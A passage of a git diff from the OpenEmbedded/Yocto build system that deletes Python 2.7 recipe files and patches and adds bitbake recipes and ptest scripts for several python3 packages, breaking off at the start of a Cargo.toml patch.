- "${libdir}/python2.7/repr.py",
- "${libdir}/python2.7/symbol.py",
- "${libdir}/python2.7/token.py",
- "${libdir}/python2.7/tokenize.py"
- ]
- },
- "logging": {
- "summary": "Python logging support",
- "rdepends": [
- "core",
- "io",
- "threading"
- ],
- "files": [
- "${libdir}/python2.7/logging"
- ]
- },
- "mailbox": {
- "summary": "Python mailbox format support",
- "rdepends": [
- "codecs",
- "contextlib",
- "core",
- "crypt",
- "datetime",
- "email",
- "fcntl",
- "io",
- "lang",
- "math",
- "mime",
- "netclient",
- "textutils"
- ],
- "files": [
- "${libdir}/python2.7/mailbox.py"
- ]
- },
- "math": {
- "summary": "Python math support",
- "rdepends": [
- "core",
- "crypt"
- ],
- "files": [
- "${libdir}/python2.7/lib-dynload/_random.so",
- "${libdir}/python2.7/lib-dynload/cmath.so",
- "${libdir}/python2.7/lib-dynload/math.so",
- "${libdir}/python2.7/random.py",
- "${libdir}/python2.7/sets.py"
- ]
- },
- "mime": {
- "summary": "Python MIME handling APIs",
- "rdepends": [
- "contextlib",
- "core",
- "crypt",
- "fcntl",
- "io",
- "lang",
- "math",
- "netclient",
- "textutils"
- ],
- "files": [
- "${libdir}/python2.7/MimeWriter.py",
- "${libdir}/python2.7/mimetools.py",
- "${libdir}/python2.7/mimetypes.py",
- "${libdir}/python2.7/quopri.py",
- "${libdir}/python2.7/rfc822.py",
- "${libdir}/python2.7/uu.py"
- ]
- },
- "mmap": {
- "summary": "Python memory-mapped file support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/lib-dynload/mmap.so"
- ]
- },
- "modules": {
- "files": [],
- "rdepends": [
- "2to3",
- "argparse",
- "audio",
- "bsddb",
- "codecs",
- "compile",
- "compiler",
- "compression",
- "contextlib",
- "core",
- "crypt",
- "ctypes",
- "curses",
- "datetime",
- "db",
- "debugger",
- "difflib",
- "distutils",
- "doctest",
- "email",
- "fcntl",
- "gdbm",
- "hotshot",
- "html",
- "idle",
- "image",
- "io",
- "json",
- "lang",
- "logging",
- "mailbox",
- "math",
- "mime",
- "mmap",
- "multiprocessing",
- "netclient",
- "netserver",
- "numbers",
- "pickle",
- "pkgutil",
- "plistlib",
- "pprint",
- "profile",
- "pydoc",
- "re",
- "resource",
- "robotparser",
- "runpy",
- "shell",
- "smtpd",
- "sqlite3",
- "sqlite3",
- "stringold",
- "subprocess",
- "syslog",
- "terminal",
- "textutils",
- "threading",
- "tkinter",
- "unittest",
- "unixadmin",
- "xml",
- "xmlrpc",
- "zlib"
- ],
- "summary": "All Python modules"
- },
- "multiprocessing": {
- "summary": "Python multiprocessing support",
- "rdepends": [
- "core",
- "fcntl",
- "io",
- "pickle",
- "subprocess",
- "threading"
- ],
- "files": [
- "${libdir}/python2.7/lib-dynload/_multiprocessing.so",
- "${libdir}/python2.7/multiprocessing"
- ]
- },
- "netclient": {
- "summary": "Python Internet Protocol clients",
- "rdepends": [
- "codecs",
- "contextlib",
- "core",
- "crypt",
- "ctypes",
- "datetime",
- "email",
- "fcntl",
- "io",
- "lang",
- "math",
- "mime",
- "pickle",
- "subprocess",
- "textutils",
- "threading"
- ],
- "files": [
- "${libdir}/python2.7/Cookie.py",
- "${libdir}/python2.7/_LWPCookieJar.py",
- "${libdir}/python2.7/_MozillaCookieJar.py",
- "${libdir}/python2.7/base64.py",
- "${libdir}/python2.7/cookielib.py",
- "${libdir}/python2.7/ftplib.py",
- "${libdir}/python2.7/hmac.py",
- "${libdir}/python2.7/httplib.py",
- "${libdir}/python2.7/nntplib.py",
- "${libdir}/python2.7/poplib.py",
- "${libdir}/python2.7/smtplib.py",
- "${libdir}/python2.7/telnetlib.py",
- "${libdir}/python2.7/urllib.py",
- "${libdir}/python2.7/urllib2.py",
- "${libdir}/python2.7/urlparse.py",
- "${libdir}/python2.7/uuid.py"
- ]
- },
- "netserver": {
- "summary": "Python Internet Protocol servers",
- "rdepends": [
- "compression",
- "contextlib",
- "core",
- "crypt",
- "fcntl",
- "io",
- "lang",
- "math",
- "mime",
- "netclient",
- "shell",
- "textutils",
- "threading",
- "unixadmin",
- "zlib"
- ],
- "files": [
- "${libdir}/python2.7/BaseHTTPServer.py",
- "${libdir}/python2.7/CGIHTTPServer.py",
- "${libdir}/python2.7/SimpleHTTPServer.py",
- "${libdir}/python2.7/SocketServer.py",
- "${libdir}/python2.7/cgi.py"
- ]
- },
- "numbers": {
- "summary": "Python number APIs",
- "rdepends": [
- "codecs",
- "core",
- "lang",
- "math",
- "threading"
- ],
- "files": [
- "${libdir}/python2.7/decimal.py",
- "${libdir}/python2.7/fractions.py",
- "${libdir}/python2.7/numbers.py"
- ]
- },
- "pickle": {
- "summary": "Python serialisation/persistence support",
- "rdepends": [
- "core",
- "io"
- ],
- "files": [
- "${libdir}/python2.7/lib-dynload/cPickle.so",
- "${libdir}/python2.7/pickle.py",
- "${libdir}/python2.7/pickletools.py",
- "${libdir}/python2.7/shelve.py"
- ]
- },
- "pkgutil": {
- "summary": "Python package extension utility support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/pkgutil.py"
- ]
- },
- "plistlib": {
- "summary": "Generate and parse Mac OS X .plist files",
- "rdepends": [
- "core",
- "datetime",
- "io"
- ],
- "files": [
- "${libdir}/python2.7/plistlib.py"
- ]
- },
- "pprint": {
- "summary": "Python pretty-print support",
- "rdepends": [
- "core",
- "io"
- ],
- "files": [
- "${libdir}/python2.7/pprint.py"
- ]
- },
- "profile": {
- "summary": "Python basic performance profiling support",
- "rdepends": [
- "codecs",
- "core",
- "lang",
- "resource",
- "textutils"
- ],
- "files": [
- "${libdir}/python2.7/cProfile.py",
- "${libdir}/python2.7/lib-dynload/_lsprof.so",
- "${libdir}/python2.7/profile.py",
- "${libdir}/python2.7/pstats.py"
- ]
- },
- "pydoc": {
- "summary": "Python interactive help support",
- "rdepends": [
- "codecs",
- "core",
- "lang",
- "pkgutil"
- ],
- "files": [
- "${bindir}/pydoc",
- "${libdir}/python2.7/pydoc.py",
- "${libdir}/python2.7/pydoc_data"
- ]
- },
- "re": {
- "summary": "Python Regular Expression APIs",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/sre.py"
- ]
- },
- "resource": {
- "summary": "Python resource control interface",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/lib-dynload/resource.so"
- ]
- },
- "robotparser": {
- "summary": "Python robots.txt parser",
- "rdepends": [
- "contextlib",
- "core",
- "io",
- "lang",
- "netclient",
- "textutils"
- ],
- "files": [
- "${libdir}/python2.7/robotparser.py"
- ]
- },
- "runpy": {
- "summary": "Python helper for locating/executing scripts in module namespace",
- "rdepends": [
- "core",
- "pkgutil"
- ],
- "files": [
- "${libdir}/python2.7/runpy.py"
- ]
- },
- "shell": {
- "summary": "Python shell-like functionality",
- "rdepends": [
- "compression",
- "core",
- "io",
- "unixadmin",
- "zlib"
- ],
- "files": [
- "${libdir}/python2.7/cmd.py",
- "${libdir}/python2.7/commands.py",
- "${libdir}/python2.7/dircache.py",
- "${libdir}/python2.7/fnmatch.py",
- "${libdir}/python2.7/glob.py",
- "${libdir}/python2.7/popen2.py",
- "${libdir}/python2.7/shlex.py",
- "${libdir}/python2.7/shutil.py"
- ]
- },
- "smtpd": {
- "summary": "Python Simple Mail Transport Daemon",
- "rdepends": [
- "core",
- "fcntl",
- "io",
- "lang"
- ],
- "files": [
- "${bindir}/smtpd.py",
- "${libdir}/python2.7/asynchat.py",
- "${libdir}/python2.7/asyncore.py",
- "${libdir}/python2.7/smtpd.py"
- ]
- },
- "sqlite3": {
- "summary": "Python Sqlite3 database support",
- "rdepends": [
- "core",
- "datetime"
- ],
- "files": [
- "${libdir}/python2.7/lib-dynload/_sqlite3.so",
- "${libdir}/python2.7/sqlite3"
- ]
- },
- "stringold": {
- "summary": "Python string APIs [deprecated]",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/stringold.py"
- ]
- },
- "subprocess": {
- "summary": "Python subprocess support",
- "rdepends": [
- "core",
- "fcntl",
- "io",
- "pickle",
- "threading"
- ],
- "files": [
- "${libdir}/python2.7/subprocess.py"
- ]
- },
- "syslog": {
- "summary": "Python syslog interface",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/lib-dynload/syslog.so"
- ]
- },
- "terminal": {
- "summary": "Python terminal controlling support",
- "rdepends": [
- "core",
- "io"
- ],
- "files": [
- "${libdir}/python2.7/pty.py",
- "${libdir}/python2.7/tty.py"
- ]
- },
- "textutils": {
- "summary": "Python option parsin",
- "rdepends": [
- "codecs",
- "core",
- "io",
- "lang"
- ],
- "files": [
- "${libdir}/python2.7/csv.py",
- "${libdir}/python2.7/lib-dynload/_csv.so",
- "${libdir}/python2.7/optparse.py",
- "${libdir}/python2.7/textwrap.py"
- ]
- },
- "threading": {
- "summary": "Python threading & synchronization support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/Queue.py",
- "${libdir}/python2.7/_threading_local.py",
- "${libdir}/python2.7/dummy_thread.py",
- "${libdir}/python2.7/dummy_threading.py",
- "${libdir}/python2.7/mutex.py",
- "${libdir}/python2.7/threading.py"
- ]
- },
- "tkinter": {
- "summary": "Python Tcl/Tk bindings",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_tkinter.so",
- "${libdir}/python2.7/lib-tk"
- ]
- },
- "unittest": {
- "summary": "Python unit testing framework",
- "rdepends": [
- "core",
- "difflib",
- "io",
- "lang",
- "pprint",
- "shell"
- ],
- "files": [
- "${libdir}/python2.7/unittest"
- ]
- },
- "unixadmin": {
- "summary": "Python Unix administration support",
- "rdepends": [
- "core",
- "io"
- ],
- "files": [
- "${libdir}/python2.7/getpass.py",
- "${libdir}/python2.7/lib-dynload/grp.so",
- "${libdir}/python2.7/lib-dynload/nis.so"
- ]
- },
- "xml": {
- "summary": "Python basic XML support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/lib-dynload/_elementtree.so",
- "${libdir}/python2.7/lib-dynload/pyexpat.so",
- "${libdir}/python2.7/xml"
- ]
- },
- "xmlrpc": {
- "summary": "Python XML-RPC support",
- "rdepends": [
- "codecs",
- "compression",
- "contextlib",
- "core",
- "crypt",
- "datetime",
- "fcntl",
- "io",
- "lang",
- "math",
- "mime",
- "netclient",
- "netserver",
- "pkgutil",
- "pydoc",
- "textutils",
- "threading",
- "xml",
- "zlib"
- ],
- "files": [
- "${libdir}/python2.7/DocXMLRPCServer.py",
- "${libdir}/python2.7/SimpleXMLRPCServer.py",
- "${libdir}/python2.7/xmlrpclib.py"
- ]
- },
- "zlib": {
- "summary": "Python zlib compression support",
- "rdepends": [
- "core"
- ],
- "files": [
- "${libdir}/python2.7/lib-dynload/zlib.so"
- ]
- }
-}
diff --git a/meta/recipes-devtools/python/python/run-ptest b/meta/recipes-devtools/python/python/run-ptest
deleted file mode 100644
index c7002a4560..0000000000
--- a/meta/recipes-devtools/python/python/run-ptest
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/sh
-
-python -mtest -W | sed -u -e '/\.\.\. ok/ s/^/PASS: /g' -e '/\.\.\. [ERROR|FAIL]/ s/^/FAIL: /g' -e '/\.\.\. skipped/ s/^/SKIP: /g' -e 's/ \.\.\. ok//g' -e 's/ \.\.\. ERROR//g' -e 's/ \.\.\. FAIL//g' -e 's/ \.\.\. skipped//g'
diff --git a/meta/recipes-devtools/python/python/search_db_h_in_inc_dirs_and_avoid_warning.patch b/meta/recipes-devtools/python/python/search_db_h_in_inc_dirs_and_avoid_warning.patch
deleted file mode 100644
index dacb552ec7..0000000000
--- a/meta/recipes-devtools/python/python/search_db_h_in_inc_dirs_and_avoid_warning.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-python should search for db.h in inc_dirs and not in a hardcoded path.
-If db.h is found but HASHVERSION is not 2 we avoid a warning by not
-adding this module to missing variable.
-
-Upstream-Status: Inappropriate [distribution]
-
-Signed-off-by: Andrei Gherzan <andrei@gherzan.ro>
-
-
-diff --git a/setup.py b/setup.py
-index b887808..ae51607 100644
---- a/setup.py
-+++ b/setup.py
-@@ -1237,6 +1237,8 @@ class PyBuildExt(build_ext):
- # the more recent berkeleydb's db.h file first in the include path
- # when attempting to compile and it will fail.
- f = "/usr/include/db.h"
-+ if len(inc_dirs) != 0:
-+ f = os.path.join(inc_dirs[0], "db.h")
-
- if host_platform == 'darwin':
- if is_macosx_sdk_path(f):
-@@ -1257,8 +1259,10 @@ class PyBuildExt(build_ext):
- libraries=libraries))
- else:
- exts.append(Extension('bsddb185', ['bsddbmodule.c']))
-- else:
-- missing.append('bsddb185')
-+ # If a newer version is detected don't report an useless
-+ # warning
-+ #else:
-+ # missing.append('bsddb185')
- else:
- missing.append('bsddb185')
-
diff --git a/meta/recipes-devtools/python/python/setup_py_skip_cross_import_check.patch b/meta/recipes-devtools/python/python/setup_py_skip_cross_import_check.patch
deleted file mode 100644
index 6ccdb948b9..0000000000
--- a/meta/recipes-devtools/python/python/setup_py_skip_cross_import_check.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-This patch skips over the 'import check' setup.py does when building
-extensions. This generally won't work when cross-compiling.
-
-Upstream-Status: Inappropriate [embedded-specific]
-
-Signed-off-by: Tom Zanussi <tom.zanussi@intel.com>
-
-Index: Python-2.7.2/setup.py
-===================================================================
---- Python-2.7.2.orig/setup.py 2011-11-04 16:46:34.553796410 -0500
-+++ Python-2.7.2/setup.py 2011-11-04 16:59:49.692802313 -0500
-@@ -287,6 +287,15 @@
- (ext.name, sys.exc_info()[1]))
- self.failed.append(ext.name)
- return
-+
-+ # If we're cross-compiling, we want to skip the import check
-+ # i.e. we shouldn't be dynamically loading target shared libs
-+ if os.environ.get('CROSS_COMPILE') is not None:
-+ self.announce(
-+ 'WARNING: skipping import check for cross-compiled "%s"' %
-+ ext.name)
-+ return
-+
- # Workaround for Mac OS X: The Carbon-based modules cannot be
- # reliably imported into a command-line Python
- if 'Carbon' in ext.extra_link_args:
diff --git a/meta/recipes-devtools/python/python/setuptweaks.patch b/meta/recipes-devtools/python/python/setuptweaks.patch
deleted file mode 100644
index 3a91b1916c..0000000000
--- a/meta/recipes-devtools/python/python/setuptweaks.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-This patch removes various ways native system options can pass into the python
-compilation and somehow break C modules.
-
-Upstream-Status: Inappropriate [OE Specific]
-
-RP 2012/04/23
-
-Index: Python-2.7.2/setup.py
-===================================================================
---- Python-2.7.2.orig/setup.py 2012-04-23 20:03:47.295582553 +0000
-+++ Python-2.7.2/setup.py 2012-04-23 20:03:15.000000000 +0000
-@@ -231,7 +231,13 @@
- # compilers
- if compiler is not None:
- (ccshared,cflags) = sysconfig.get_config_vars('CCSHARED','CFLAGS')
-- args['compiler_so'] = compiler + ' ' + ccshared + ' ' + cflags
-+ # Need to filter out -isysroot from the flags. Ideally should
-+ # figure out target flags here.
-+ flags = []
-+ for f in cflags.split():
-+ if not f.startswith("-isystem"):
-+ flags.append(f)
-+ args['compiler_so'] = compiler + ' ' + ccshared + ' ' + ' '.join(flags)
- self.compiler.set_executables(**args)
-
- build_ext.build_extensions(self)
-@@ -393,7 +399,6 @@
- # into configure and stored in the Makefile (issue found on OS X 10.3).
- for env_var, arg_name, dir_list in (
- ('LDFLAGS', '-R', self.compiler.runtime_library_dirs),
-- ('LDFLAGS', '-L', self.compiler.library_dirs),
- ('CPPFLAGS', '-I', self.compiler.include_dirs)):
- env_val = sysconfig.get_config_var(env_var)
- if env_val:
-@@ -419,16 +424,16 @@
- for directory in reversed(options.dirs):
- add_dir_to_list(dir_list, directory)
-
-- if os.path.normpath(sys.prefix) != '/usr' \
-- and not sysconfig.get_config_var('PYTHONFRAMEWORK'):
-+# if os.path.normpath(sys.prefix) != '/usr' \
-+# and not sysconfig.get_config_var('PYTHONFRAMEWORK'):
- # OSX note: Don't add LIBDIR and INCLUDEDIR to building a framework
- # (PYTHONFRAMEWORK is set) to avoid # linking problems when
- # building a framework with different architectures than
- # the one that is currently installed (issue #7473)
-- add_dir_to_list(self.compiler.library_dirs,
-- sysconfig.get_config_var("LIBDIR"))
-- add_dir_to_list(self.compiler.include_dirs,
-- sysconfig.get_config_var("INCLUDEDIR"))
-+# add_dir_to_list(self.compiler.library_dirs,
-+# sysconfig.get_config_var("LIBDIR"))
-+# add_dir_to_list(self.compiler.include_dirs,
-+# sysconfig.get_config_var("INCLUDEDIR"))
-
- try:
- have_unicode = unicode
diff --git a/meta/recipes-devtools/python/python/sitecustomize.py b/meta/recipes-devtools/python/python/sitecustomize.py
deleted file mode 100644
index 4c8b5e2ba3..0000000000
--- a/meta/recipes-devtools/python/python/sitecustomize.py
+++ /dev/null
@@ -1,37 +0,0 @@
-# OpenEmbedded sitecustomize.py (C) 2002-2008 Michael 'Mickey' Lauer <mlauer@vanille-media.de>
-# GPLv2 or later
-# Version: 20081123
-# Features:
-# * set proper default encoding
-# * enable readline completion in the interactive interpreter
-# * load command line history on startup
-# * save command line history on exit
-
-import os
-
-def __exithandler():
- try:
- readline.write_history_file( "%s/.python-history" % os.getenv( "HOME", "/tmp" ) )
- except IOError:
- pass
-
-def __registerExitHandler():
- import atexit
- atexit.register( __exithandler )
-
-def __enableReadlineSupport():
- readline.set_history_length( 1000 )
- readline.parse_and_bind( "tab: complete" )
- try:
- readline.read_history_file( "%s/.python-history" % os.getenv( "HOME", "/tmp" ) )
- except IOError:
- pass
-
-import sys
-try:
- import rlcompleter, readline
-except ImportError:
- pass
-else:
- __registerExitHandler()
- __enableReadlineSupport()
diff --git a/meta/recipes-devtools/python/python/support_SOURCE_DATE_EPOCH_in_py_compile_2.7.patch b/meta/recipes-devtools/python/python/support_SOURCE_DATE_EPOCH_in_py_compile_2.7.patch
deleted file mode 100644
index 12651798ee..0000000000
--- a/meta/recipes-devtools/python/python/support_SOURCE_DATE_EPOCH_in_py_compile_2.7.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-The compiled .pyc files contain time stamp corresponding to the compile time.
-This prevents binary reproducibility. This patch allows to achieve binary
-reproducibility by overriding the build time stamp by the value
-exported via SOURCE_DATE_EPOCH.
-
-Patch by Bernhard M. Wiedemann
-
-Upstream-Status: Backport
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-
-Fri Feb 24 17:08:25 UTC 2017 - bwiedemann@suse.com
-
-- Add reproducible.patch to allow reproducible builds of various
- python packages like python-amqp
- Upstream: https://github.com/python/cpython/pull/296
-
-
-@@ -0,0 +1,15 @@
-Index: Python-2.7.13/Lib/py_compile.py
-===================================================================
---- Python-2.7.13.orig/Lib/py_compile.py
-+++ Python-2.7.13/Lib/py_compile.py
-@@ -108,6 +108,10 @@ def compile(file, cfile=None, dfile=None
- timestamp = long(os.fstat(f.fileno()).st_mtime)
- except AttributeError:
- timestamp = long(os.stat(file).st_mtime)
-+ sde = os.environ.get('SOURCE_DATE_EPOCH')
-+ if sde and timestamp > int(sde):
-+ timestamp = int(sde)
-+ os.utime(file, (timestamp, timestamp))
- codestring = f.read()
- try:
- codeobject = __builtin__.compile(codestring, dfile or file,'exec')
diff --git a/meta/recipes-devtools/python/python/use_sysroot_ncurses_instead_of_host.patch b/meta/recipes-devtools/python/python/use_sysroot_ncurses_instead_of_host.patch
deleted file mode 100644
index fb4a3bcf95..0000000000
--- a/meta/recipes-devtools/python/python/use_sysroot_ncurses_instead_of_host.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-Python tries to use ncursesw from the host,
-if it is not found causes an error on configure,
-we should use ncursesw from sysroot instead
-
-Upstream-Status: Pending
-
-Signed-off-by: Alejandro Hernandez <alejandro.hernandez@linux.intel.com>
-
-Index: Python-2.7.9/configure.ac
-===================================================================
---- Python-2.7.9.orig/configure.ac
-+++ Python-2.7.9/configure.ac
-@@ -4311,7 +4311,7 @@ fi
-
- # first curses configure check
- ac_save_cppflags="$CPPFLAGS"
--CPPFLAGS="$CPPFLAGS -I/usr/include/ncursesw"
-+CPPFLAGS="$CPPFLAGS -I=/usr/include/ncursesw"
-
- AC_CHECK_HEADERS(curses.h ncurses.h)
-
diff --git a/meta/recipes-devtools/python/python3-asn1crypto_1.4.0.bb b/meta/recipes-devtools/python/python3-asn1crypto_1.4.0.bb
new file mode 100644
index 0000000000..c052cb8c82
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-asn1crypto_1.4.0.bb
@@ -0,0 +1,25 @@
+DESCRIPTION = "A fast, pure Python library for parsing and serializing ASN.1 structures"
+HOMEPAGE = "https://github.com/wbond/asn1crypto"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=7439e38f5e04ff62fae436184786b7ca"
+
+PYPI_PACKAGE = "asn1crypto"
+
+SRC_URI[md5sum] = "00bf5b72d37778e62cc73b1d8909ae27"
+SRC_URI[sha256sum] = "f4f6e119474e58e04a2b1af817eb585b4fd72bdd89b998624712b5c99be7641c"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN}:class-target += " \
+ ${PYTHON_PN}-codecs \
+ ${PYTHON_PN}-crypt \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-numbers \
+ ${PYTHON_PN}-shell \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-atomicwrites/run-ptest b/meta/recipes-devtools/python/python3-atomicwrites/run-ptest
new file mode 100644
index 0000000000..b63c4de0d9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-atomicwrites/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-atomicwrites_1.4.0.bb b/meta/recipes-devtools/python/python3-atomicwrites_1.4.0.bb
new file mode 100644
index 0000000000..065a2c7b4f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-atomicwrites_1.4.0.bb
@@ -0,0 +1,25 @@
+DESCRIPTION = "Powerful Python library for atomic file writes"
+HOMEPAGE = "https://github.com/untitaker/python-atomicwrites"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=91cc36cfafeefb7863673bcfcb1d4da4"
+
+SRC_URI[md5sum] = "b5cc15c8f9f180a48665f9aacf91d817"
+SRC_URI[sha256sum] = "ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+ ${PYTHON_PN}-unixadmin \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+RDEPENDS:${PN} = "${PYTHON_PN}-misc"
diff --git a/meta/recipes-devtools/python/python3-attrs_21.4.0.bb b/meta/recipes-devtools/python/python3-attrs_21.4.0.bb
new file mode 100644
index 0000000000..20e4541f81
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-attrs_21.4.0.bb
@@ -0,0 +1,19 @@
+DESCRIPTION = "Classes Without Boilerplate"
+HOMEPAGE = "http://www.attrs.org/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=d4ab25949a73fe7d4fdee93bcbdbf8ff"
+
+SRC_URI[sha256sum] = "626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd"
+
+inherit pypi setuptools_build_meta
+
+RDEPENDS:${PN}:class-target += " \
+ ${PYTHON_PN}-crypt \
+ ${PYTHON_PN}-ctypes \
+"
+RDEPENDS:${PN}:class-nativesdk += " \
+ ${PYTHON_PN}-crypt \
+ ${PYTHON_PN}-ctypes \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-bcrypt/run-ptest b/meta/recipes-devtools/python/python3-bcrypt/run-ptest
new file mode 100644
index 0000000000..b63c4de0d9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-bcrypt/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-bcrypt_3.2.0.bb b/meta/recipes-devtools/python/python3-bcrypt_3.2.0.bb
new file mode 100644
index 0000000000..731aff299b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-bcrypt_3.2.0.bb
@@ -0,0 +1,31 @@
+DESCRIPTION = "Modern password hashing for your software and your servers."
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=8f7bb094c7232b058c7e9f2e431f389c"
+HOMEPAGE = "https://pypi.org/project/bcrypt/"
+
+DEPENDS += "${PYTHON_PN}-cffi-native"
+
+SRC_URI[md5sum] = "fe31390dab603728f756cd3d6830c80a"
+SRC_URI[sha256sum] = "5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29"
+
+inherit pypi setuptools_build_meta ptest
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+RDEPENDS:${PN}:class-target += "\
+ ${PYTHON_PN}-cffi \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-six \
+"
diff --git a/meta/recipes-devtools/python/python3-cffi_1.15.0.bb b/meta/recipes-devtools/python/python3-cffi_1.15.0.bb
new file mode 100644
index 0000000000..c36f23b3dd
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cffi_1.15.0.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Foreign Function Interface for Python calling C code"
+HOMEPAGE = "http://cffi.readthedocs.org/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5677e2fdbf7cdda61d6dd2b57df547bf"
+DEPENDS += "libffi ${PYTHON_PN}-pycparser"
+
+SRC_URI[sha256sum] = "920f0d66a896c2d99f0adbb391f990a84091179542c205fa53ce5787aff87954"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN}:class-target = " \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-pycparser \
+ ${PYTHON_PN}-shell \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-cryptography-vectors_36.0.1.bb b/meta/recipes-devtools/python/python3-cryptography-vectors_36.0.1.bb
new file mode 100644
index 0000000000..da6718fb90
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography-vectors_36.0.1.bb
@@ -0,0 +1,29 @@
+SUMMARY = "Test vectors for the cryptography package."
+HOMEPAGE = "https://cryptography.io/"
+SECTION = "devel/python"
+LICENSE = "Apache-2.0 | BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=8c3617db4fb6fae01f1d253ab91511e4 \
+ file://LICENSE.APACHE;md5=4e168cce331e5c827d4c2b68a6200e1b \
+ file://LICENSE.BSD;md5=5ae30ba4123bc4f2fa49aa0b0dce887b"
+
+# NOTE: Make sure to keep this recipe at the same version as python3-cryptography
+# Upgrade both recipes at the same time
+
+SRC_URI[sha256sum] = "fc8490afd5424342b868215435bd174dcd76ab396b4ea9435498be5721dcd598"
+
+PYPI_PACKAGE = "cryptography_vectors"
+
+inherit pypi setuptools3
+
+DEPENDS += " \
+ ${PYTHON_PN}-cryptography \
+"
+
+do_install:append () {
+ # Remove the sha256 checksum lines for pycache files
+ sed ${D}${PYTHON_SITEPACKAGES_DIR}/cryptography_vectors-${PV}.dist-info/RECORD -e '/__pycache__/d' -i
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_REGEX = ""
diff --git a/meta/recipes-devtools/python/python3-cryptography/0001-Cargo.toml-specify-pem-version.patch b/meta/recipes-devtools/python/python3-cryptography/0001-Cargo.toml-specify-pem-version.patch
new file mode 100644
index 0000000000..d7ab757bb5
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cryptography/0001-Cargo.toml-specify-pem-version.patch
@@ -0,0 +1,31 @@
+From ec8d3f3c61280c8140b34ed1479baef5e706f064 Mon Sep 17 00:00:00 2001
+From: Tim Orling <tim.orling@konsulko.com>
+Date: Fri, 14 Jan 2022 22:02:25 -0800
+Subject: [PATCH] Cargo.toml: specify pem version
+
+pem = "1.0" is not resolving, specify the current
